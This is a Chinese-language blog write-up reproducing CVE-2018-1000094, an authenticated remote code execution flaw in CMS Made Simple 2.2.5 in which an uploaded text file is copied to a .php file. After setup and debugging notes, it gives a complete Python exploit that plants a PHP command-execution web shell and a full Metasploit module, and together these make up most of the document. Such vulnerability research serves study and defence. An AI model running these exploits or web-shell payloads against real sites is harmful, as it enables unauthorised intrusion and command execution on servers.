0x01 前言

CMS Made Simple是一个简单易于使用的内容管理系统。它使用PHP,MySQL和Smarty模板引擎开发。

昨天看漏洞库的时候看到这一款CMS,漏洞操作也挺简单的,但是可以申请CVE,于是乎就复现了一篇过程和写漏洞脚本。

0x02 环境

  1. 下载下来是一个安装文件cmsms-2.2.5-install.php,浏览器直接打开
  2. 默认Next,到数据库连接这一块要先创建一个数据库,我这里创建一个名为simple的数据库,然后填上数据库连接信息
  3. 填写管理账号密码信息
  4. 填写可写可读的目录和选择语言
  5. 安装完成,除了邮件模块,不过也用不上。

0x03 漏洞复现过程

  1. 登录后台

  2. 选择File Manager

  3. 编写一个文件名为a.txt内容为<?php phpinfo();?>的文件,然后点击上传。

  4. 选中a.txt,点击copy,名字改为rce.php,然后确定

  5. 文件就copy过来了,有点类似系统的copy命令。

  6. 访问rce.php

0x04 漏洞分析过程

  • 还记得上一篇的phpok的分析,如果找不出关键文件,可以抓包分析。 可以看到主要是通过文件admin/moduleinterface.php文件进行操作的。 可能这样看会让人很乱,我们可以用phpstorm的debug来调试整个过程 相关配置可以看https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/
  • 从上面的抓包可以看出来,mact参数是FileManagerm1_fileaction,大家可以去这里下断点然后一步一步分析整个流程。
  • 有经验可以看出来,FileManager就是modules\FileManager目录,fileaction就是modules/FileManager/action.fileaction.php文件,再往下看代码的68行,可以看到我们的copy操作的代码。
if (isset($params["fileactioncopy"]) || $fileaction=="copy") {
  include_once(__DIR__."/action.copy.php");
  return;
}
  • 我们找到这个文件action.copy.php,我们在93行下一个断点,然后去操作copy,可以看到有各种很详细的参数信息。
  • 我们F7单步走,可以看到执行$res = copy($src,$dest);的时候没有发生错误。
  • 这样就正式完成了所有操作,如有不懂可以看下官方文档的copy函数的用法http://www.php.net/manual/en/function.copy.php

0x05 漏洞脚本

python版本

# Exploit Title: CMS Made Simple 2.2.5 authenticated Remote Code Execution
# Date: 3rd of July, 2018
# Exploit Author: Mustafa Hasan (@strukt93)
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: http://www.cmsmadesimple.org/downloads/cmsms/
# Version: 2.2.5
# CVE: CVE-2018-1000094

import requests
import base64

base_url = "http://127.0.0.1/cmsms/admin"
upload_dir = "/uploads"
upload_url = base_url.split('/admin')[0] + upload_dir
username = "admin"
password = "123456"

csrf_param = "__c"
txt_filename = 'cmsmsrce.txt'
php_filename = 'shell.php'
payload = "<?php system($_GET['cmd']);?>"

def parse_csrf_token(location):
    return location.split(csrf_param + "=")[1]

def authenticate():
    page = "/login.php"
    url = base_url + page
    data = {
        "username": username,
        "password": password,
        "loginsubmit": "Submit"
    }
    response  = requests.post(url, data=data, allow_redirects=False)
    status_code = response.status_code
    if status_code == 302:
        print "[+] Authenticated successfully with the supplied credentials"
        return response.cookies, parse_csrf_token(response.headers['Location'])
    print "[-] Authentication failed"
    return None, None

def upload_txt(cookies, csrf_token):
    mact = "FileManager,m1_,upload,0"
    page = "/moduleinterface.php"
    url = base_url + page
    data = {
        "mact": mact,
        csrf_param: csrf_token,
        "disable_buffer": 1
    }
    txt = {
        'm1_files[]': (txt_filename, payload)
    }
    print "[*] Attempting to upload {}...".format(txt_filename)
    response = requests.post(url, data=data, files=txt, cookies=cookies)
    status_code = response.status_code
    if status_code == 200:
        print "[+] Successfully uploaded {}".format(txt_filename)
        return True
    print "[-] An error occurred while uploading {}".format(txt_filename)
    return None

def copy_to_php(cookies, csrf_token):
    mact = "FileManager,m1_,fileaction,0"
    page = "/moduleinterface.php"
    url = base_url + page
    b64 = base64.b64encode(txt_filename)
    serialized = 'a:1:{{i:0;s:{}:"{}";}}'.format(len(b64), b64)
    data = {
        "mact": mact,
        csrf_param: csrf_token,
        "m1_fileactioncopy": "",
        "m1_path": upload_dir,
        "m1_selall": serialized,
        "m1_destdir": "/",
        "m1_destname": php_filename,
        "m1_submit": "Copy"
    }
    print "[*] Attempting to copy {} to {}...".format(txt_filename, php_filename)
    response = requests.post(url, data=data, cookies=cookies, allow_redirects=False)
    status_code = response.status_code
    if status_code == 302:
        if response.headers['Location'].endswith('copysuccess'):
            print "[+] File copied successfully"
            return True
    print "[-] An error occurred while copying, maybe {} already exists".format(php_filename)
    return None

def quit():
    print "[-] Exploit failed"
    exit()

def run():
    cookies,csrf_token = authenticate()
    if not cookies:
        quit()
    if not upload_txt(cookies, csrf_token):
        quit()
    if not copy_to_php(cookies, csrf_token):
        quit()
    print "[+] Exploit succeeded, shell can be found at: {}".format(upload_url + '/' + php_filename)

run()

MSF版本

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'CMS Made Simple Authenticated RCE via File Upload/Copy',
      'Description'     => %q{
        CMS Made Simple v2.2.5 allows an authenticated administrator to upload a file
        and rename it to have a .php extension. The file can then be executed by opening
        the URL of the file in the /uploads/ directory.
      },
      'Author' =>
        [
          'Mustafa Hasen',  # Vulnerability discovery and EDB PoC
          'Jacob Robles'    # Metasploit Module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'CVE', '2018-1000094' ],
          [ 'CWE', '434' ],
          [ 'EDB', '44976' ],
          [ 'URL', 'http://dev.cmsmadesimple.org/bug/view/11741' ]
        ],
      'Privileged'  => false,
      'Platform'  => [ 'php' ],
      'Arch'  => ARCH_PHP,
      'Targets' =>
        [
          [ 'Universal', {} ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 03 2018'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base cmsms directory path", '/cmsms/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
        OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
      ])

    register_advanced_options ([
      OptBool.new('ForceExploit',  [false, 'Override check result', false])
    ])
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.body =~ /CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/
      return CheckCode::Unknown
    end

    version = Gem::Version.new($1)
    vprint_status("#{peer} - CMS Made Simple Version: #{version}")

    if version == Gem::Version.new('2.2.5')
      return CheckCode::Appears
    end

    if version < Gem::Version.new('2.2.5')
      return CheckCode::Detected
    end

    CheckCode::Safe
  end

  def exploit
    unless [CheckCode::Detected, CheckCode::Appears].include?(check)
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
      'method' => 'POST',
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'loginsubmit' => 'Submit'
      }
    })
    unless res
      fail_with(Failure::NotFound, 'A response was not received from the remote host')
    end

    unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ /\/admin\?(.*)?=(.*)/
      fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
    end

    vprint_good("#{peer} - Authentication successful")
    csrf_name = $1
    csrf_val = $2

    csrf = {csrf_name => csrf_val}
    cookies = res.get_cookies
    filename = rand_text_alpha(8..12)

    # Generate form data
    message = Rex::MIME::Message.new
    message.add_part(csrf[csrf_name], nil, nil, "form-data; name=\"#{csrf_name}\"")
    message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
    message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
    message.add_part(payload.encoded, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}.txt\"")
    data = message.to_s

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{message.bound}",
      'cookie' => cookies
    })

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'Failed to upload the text file')
    end
    vprint_good("#{peer} - File uploaded #{filename}.txt")

    fileb64 = Rex::Text.encode_base64("#{filename}.txt")
    data = {
      'mact' => 'FileManager,m1_,fileaction,0',
      "m1_fileactioncopy" => "",
      'm1_selall' => "a:1:{i:0;s:#{fileb64.length}:\"#{fileb64}\";}",
      'm1_destdir' => '/',
      'm1_destname' => "#{filename}.php",
      'm1_path' => '/uploads',
      'm1_submit' => 'Copy',
      csrf_name => csrf_val
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'vars_post' => data
    })

    unless res
      fail_with(Failure::NotFound, 'A response was not received from the remote host')
    end

    unless res.code == 302 && res.headers['Location'].to_s.include?('copysuccess')
      fail_with(Failure::UnexpectedReply, 'Failed to rename the file')
    end
    vprint_good("#{peer} - File renamed #{filename}.php")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"),
      'method' => 'GET',
      'cookie' => cookies
    })
  end
end

0x06 参考

程序下载:http://s3.amazonaws.com/cmsms/downloads/14076/cmsms-2.2.5-install.zip https://www.exploit-db.com/exploits/44976/ http://dev.cmsmadesimple.org/bug/view/11741 https://packetstormsecurity.com/files/148622/CMS-Made-Simple-2.2.5-Authenticated-Remote-Command-Execution.html